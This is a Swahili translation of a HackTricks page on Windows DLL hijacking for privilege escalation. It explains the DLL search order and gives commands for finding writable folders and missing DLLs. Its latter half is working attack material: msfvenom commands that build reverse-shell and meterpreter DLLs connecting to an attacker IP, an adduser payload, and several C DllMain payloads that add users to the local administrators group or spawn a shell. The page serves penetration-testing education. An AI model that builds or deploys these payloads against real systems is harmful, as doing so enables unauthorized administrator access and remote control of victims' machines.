Dll Hijacking

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Mbinu ya Bug bounty: jiandikishe kwa Intigriti, jukwaa la bug bounty la malipo ya juu lililoanzishwa na wadukuzi, kwa wadukuzi! Jiunge nasi kwenye https://go.intigriti.com/hacktricks leo, na anza kupata zawadi hadi $100,000!

Taarifa Msingi

DLL Hijacking inahusisha kubadilisha programu iliyothibitishwa ili iweze kupakia DLL mbaya. Kauli hii inajumuisha mikakati kadhaa kama DLL Spoofing, Injection, na Side-Loading. Mara nyingi hutumiwa kwa utekelezaji wa nambari, kufikia uthabiti, na, mara chache, kuongeza mamlaka. Licha ya kuzingatia kuongezeka kwa mamlaka hapa, njia ya utekaji inabaki sawa kwa malengo yote.

Mbinu za Kawaida

Mbinu kadhaa hutumiwa kwa utekaji wa DLL, kila moja ikiwa na ufanisi wake kulingana na mkakati wa kupakia DLL wa programu:

  1. Kubadilisha DLL: Kubadilisha DLL halisi na ile mbaya, ikitegemea matumizi ya DLL Proxying kuhifadhi utendaji wa DLL halisi.

  2. Utekaji wa Mpangilio wa Kutafuta DLL: Kuweka DLL mbaya kwenye njia ya utafutaji mbele ya ile halali, kutumia mfumo wa utafutaji wa programu.

  3. Utekaji wa Phantom DLL: Kuunda DLL mbaya kwa programu kupakia, ikifikiri ni DLL inayohitajika ambayo haipo.

  4. Utekaji wa Uelekezaji wa DLL: Kubadilisha vigezo vya utafutaji kama %PATH% au faili za .exe.manifest / .exe.local kuielekeza programu kwa DLL mbaya.

  5. Kubadilisha DLL za WinSxS: Kubadilisha DLL halali na ile mbaya katika saraka ya WinSxS, njia mara nyingi inayohusishwa na DLL side-loading.

  6. Utekaji wa Njia ya Kijamaa wa DLL: Kuweka DLL mbaya katika saraka inayodhibitiwa na mtumiaji pamoja na programu iliyohamishiwa, ikifanana na mbinu za Utekelezaji wa Proksi wa Binary.

Kupata Dlls Zilizopotea

Njia ya kawaida zaidi ya kupata Dlls zilizopotea ndani ya mfumo ni kwa kuzindua procmon kutoka sysinternals, kuweka filta 2 zifuatazo:

na kuonyesha tu Shughuli za Mfumo wa Faili:

Ikiwa unatafuta dlls zilizopotea kwa ujumla unaweza kuacha hii ikifanya kazi kwa muda fulani. Ikiwa unatafuta dll iliyopotea ndani ya programu fulani unapaswa kuweka filta nyingine kama "Jina la Mchakato" "lina" "<jina la exe>", kuitekeleza, na kusitisha kuchukua matukio.

Kutumia Dlls Zilizopotea

Ili kuongeza mamlaka, nafasi bora tunayo ni kuweza kuandika dll ambayo mchakato wa mamlaka atajaribu kupakia mahali ambapo itatafutwa. Kwa hivyo, tutaweza kuandika dll katika folda ambapo dll inatafutwa kabla ya folda ambapo dll halisi iko (kisa cha kawaida), au tutaweza kuandika kwenye folda fulani ambapo dll itatafutwa na dll halisi haipo kwenye folda yoyote.

Mpangilio wa Kutafuta Dll

Ndani ya hati ya Microsoft unaweza kupata jinsi Dlls zinavyopakiwa kwa usahihi.

Programu za Windows hutafuta DLL kwa kufuata seti ya njia za utafutaji zilizopangwa mapema, kufuata mfuatano maalum. Tatizo la utekaji wa DLL linatokea wakati DLL mbaya inawekwa kimkakati katika moja ya saraka hizi, ikahakikisha inapakiwa kabla ya DLL halisi. Suluhisho la kuzuia hii ni kuhakikisha programu inatumia njia za moja kwa moja wakati inahusisha DLLs inayohitaji.

Unaweza kuona mpangilio wa utafutaji wa DLL kwenye mifumo ya 32-bit hapa chini:

  1. Saraka ambayo programu imepakia.

  2. Saraka ya mfumo. Tumia GetSystemDirectory kufikia njia ya saraka hii.(C:\Windows\System32)

  3. Saraka ya mfumo ya 16-bit. Hakuna kazi inayopata njia ya saraka hii, lakini inatafutwa. (C:\Windows\System)

  4. Saraka ya Windows. Tumia GetWindowsDirectory kufikia njia ya saraka hii.

  5. (C:\Windows)

  6. Saraka ya sasa.

  7. Saraka zilizoorodheshwa kwenye mazingira ya PATH. Tafadhali kumbuka hii haitoi njia ya kipekee ya programu iliyowekwa kwa kutumia ufunguo wa usajili wa App Paths. Ufunguo wa App Paths haufanyi kazi wakati wa kuhesabu njia ya utafutaji wa DLL.

Hiyo ndiyo mpangilio wa utafutaji wa msingi na SafeDllSearchMode imewezeshwa. Wakati inapodisabled, saraka ya sasa inapanda hadi nafasi ya pili. Ili kulemaza kipengele hiki, tengeneza thamani ya usajili ya HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode na iweke kama 0 (chaguo-msingi ni kuwezeshwa).

Ikiwa LoadLibraryEx inaitwa na LOAD_WITH_ALTERED_SEARCH_PATH utafutaji unaanza kwenye saraka ya moduli ya executable ambayo LoadLibraryEx inapakia.

Hatimaye, kumbuka kwamba dll inaweza kupakiwa ikionyesha njia ya moja kwa moja badala ya jina tu. Katika kesi hiyo dll hiyo itaendelea kutafutwa kwenye njia hiyo (ikiwa dll ina mahitaji yoyote, itatafutwa kama ilivyopakiwa kwa jina tu).

Kuna njia nyingine za kubadilisha njia za kubadilisha mpangilio wa utafutaji lakini sitaelezea hapa.

Mifano ya utaratibu wa kutafuta dll kutoka kwa nyaraka za Windows

Mifano fulani ya utaratibu wa kawaida wa kutafuta DLL imeelezwa katika nyaraka za Windows:

  • Wakati DLL ambayo inashiriki jina na ile tayari imewekwa kumbukumbuni inakutwa, mfumo hupuuza utaratibu wa kawaida wa kutafuta. Badala yake, hufanya ukaguzi wa upimaji na hati kabla ya kutumia DLL iliyoko tayari kumbukumbuni. Katika hali hii, mfumo haufanyi utafutaji wa DLL.

  • Katika hali ambapo DLL inatambuliwa kama DLL inayojulikana kwa toleo la sasa la Windows, mfumo utatumia toleo lake la DLL inayojulikana, pamoja na DLL zake zinazotegemea, kupuuza mchakato wa utafutaji. Funguo ya usajili HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs ina orodha ya DLL hizi zinazojulikana.

  • Ikiwa DLL ina tegemezi, utafutaji wa DLL hizi tegemezi hufanywa kana kwamba zimetajwa tu kwa kutumia majina ya moduli yao, bila kujali ikiwa DLL ya awali ilitambuliwa kupitia njia kamili.

Kuongeza Mamlaka

Mahitaji:

  • Tambua mchakato ambao unafanya kazi au utafanya kazi chini ya mamlaka tofauti (mzunguko wa pembeni), ambao haujajaza DLL.

  • Hakikisha kuwa kuna upatikanaji wa kuandika kwa directory yoyote ambapo DLL itatafutwa. Eneo hili linaweza kuwa directory ya kutekelezeka au directory ndani ya njia ya mfumo.

Ndio, mahitaji ni magumu kupata kwa sababu kwa chaguo-msingi ni aina ya ajabu kupata kutekelezeka kilichopewa mamlaka kikikosa dll na ni zaidi ya ajabu kuwa na ruhusa ya kuandika kwenye folda ya njia ya mfumo (kwa chaguo-msingi huwezi). Lakini, katika mazingira yaliyopangwa vibaya hili linawezekana. Katika hali unayo bahati na unakutana na mahitaji, unaweza kuangalia mradi wa UACME. Hata kama lengo kuu la mradi ni kudanganya UAC, unaweza kupata PoC ya Dll hijaking kwa toleo la Windows unaloweza kutumia (labda kwa kubadilisha njia ya folda ambapo una ruhusa ya kuandika).

Tafadhali kumbuka unaweza kuangalia ruhusa zako katika folda kwa kufanya:

accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

Na angalia ruhusa za folda zote ndani ya NJIA:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Unaweza pia kuangalia uingizaji wa faili inayoweza kutekelezwa na viingizaji vya dll kwa kutumia:

dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

Kwa mwongozo kamili juu ya jinsi ya kutumia Dll Hijacking kukuza mamlaka na ruhusa ya kuandika kwenye folda ya Njia ya Mfumo, angalia:

pageWritable Sys Path +Dll Hijacking Privesc

Zana za Kiotomatiki

Winpeas itachunguza ikiwa una ruhusa ya kuandika kwenye folda yoyote ndani ya Njia ya Mfumo. Zana zingine za kiotomatiki za kuvumbua udhaifu huu ni kazi za PowerSploit: Find-ProcessDLLHijack, Find-PathDLLHijack na Write-HijackDll.

Mfano

Ikiwa utapata hali inayoweza kudukuliwa, moja ya mambo muhimu sana ya kufanikiwa kuitumia itakuwa kuunda dll ambayo inaleta angalau kazi zote ambazo programu inayoweza kuiagiza itaagiza kutoka kwake. Hata hivyo, kumbuka kuwa Dll Hijacking inakuja kwa manufaa ili kukuza kutoka kiwango cha Uadilifu wa Kati hadi cha Juu (kipuuzi cha UAC) au kutoka Kiwango cha Juu hadi SYSTEM. Unaweza kupata mfano wa jinsi ya kuunda dll halali ndani ya utafiti huu wa kudukua dll uliolenga kudukua dll kwa utekelezaji: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows. Zaidi ya hayo, katika sehemu inayofuata unaweza kupata mifano ya msingi ya dll ambayo inaweza kuwa na manufaa kama mabano au kuunda dll yenye kazi zisizohitajika zilizoagizwa.

Kuunda na Kukusanya Dlls

Dll Proxifying

Kimsingi Dll proxy ni Dll inayoweza kutekeleza nambari yako ya hila wakati inapakia lakini pia kufunua na kufanya kazi kama ilivyotarajiwa kwa kupeleka simu zote kwa maktaba halisi.

Kwa zana DLLirant au Spartacus unaweza kuonyesha programu inayoweza kutekelezwa na kuchagua maktaba unayotaka kuweka kama proxy na kuzalisha dll iliyopigwa au kuonyesha Dll na kuzalisha dll iliyopigwa.

Meterpreter

Pata rev shell (x64):

msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Pata meterpreter (x86):

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Unda mtumiaji (x86 sikuona toleo la x64):

msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll

Yako mwenyewe

Tafadhali kumbuka kwamba katika visa kadhaa Dll unayounda lazima izalishe kazi kadhaa ambazo zitapakiawa na mchakato wa mwathiriwa, ikiwa kazi hizi hazipo, faili ya binary haitaweza kuzipakia na jaribio la kudukua litashindwa.

// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
system("whoami > C:\\users\\username\\whoami.txt");
WinExec("calc.exe", 0); //This doesn't accept redirections like system
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe /k net localgroup administrators user /add");
ExitProcess(0);
}
return TRUE;
}
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
exit(0);
return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
owned();
return 0;
}
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h>
#include<stdlib.h>
#include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded
system("cmd");
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DEATCH:
break;
}
return TRUE;
}

Marejeo

Siri ya tuzo ya mdudu: jiandikishe kwa Intigriti, jukwaa la tuzo za mdudu za malipo lililoundwa na wadukuzi, kwa wadukuzi! Jiunge nasi kwenye https://go.intigriti.com/hacktricks leo, na anza kupata tuzo hadi $100,000!

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated